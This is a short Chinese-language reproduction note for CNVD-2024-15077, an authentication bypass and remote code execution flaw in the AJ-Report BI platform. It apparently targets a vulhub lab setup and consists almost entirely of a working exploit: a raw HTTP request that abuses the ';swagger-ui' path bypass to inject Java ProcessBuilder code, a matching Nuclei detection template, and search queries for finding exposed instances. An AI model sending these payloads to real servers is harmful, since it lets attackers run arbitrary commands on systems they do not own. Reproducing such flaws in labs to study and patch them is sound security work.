CNVD-2024-15077漏洞复现

title="AJ-Report"

https://github.com/vulhub/vulhub

cd vulhub/aj-report/CNVD-2024-15077docker compose up -d

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Content-Type: application/json;charset=UTF-8Connection: closeContent-Length: 339
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder("id").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

id: CNVD-2024-15077
info:  name: AJ-Report 认证绕过与远程代码执行漏洞  author: fgz  severity: critical  description: |    AJ-Report是全开源的一个BI平台，酷炫大屏展示，能随时随地掌控业务动态，让每个决策都有数据支撑。多数据源支持，内置mysql、elasticsearch、kudu等多种驱动，支持自定义数据集省去数据接口开发，支持17+种大屏组件。在其1.4.0版本及以前，存在一处认证绕过漏洞，攻击者利用该漏洞可以绕过权限校验并执行任意代码。  reference:    - none  metadata:    verified: true    max-request: 1    shodan-query: title="AJ-Report"  tags: cnvd,cnvd2024
http:  - raw:      - |        POST /dataSetParam/verification;swagger-ui/ HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        Accept-Encoding: gzip, deflate, br        Accept-Language: zh-CN,zh;q=0.9        Content-Type: application/json;charset=UTF-8        Connection: close                {"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder("ipconfig").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

    matchers:      - type: dsl        dsl:          - "status_code == 200 && contains(body, 'Windows IP')"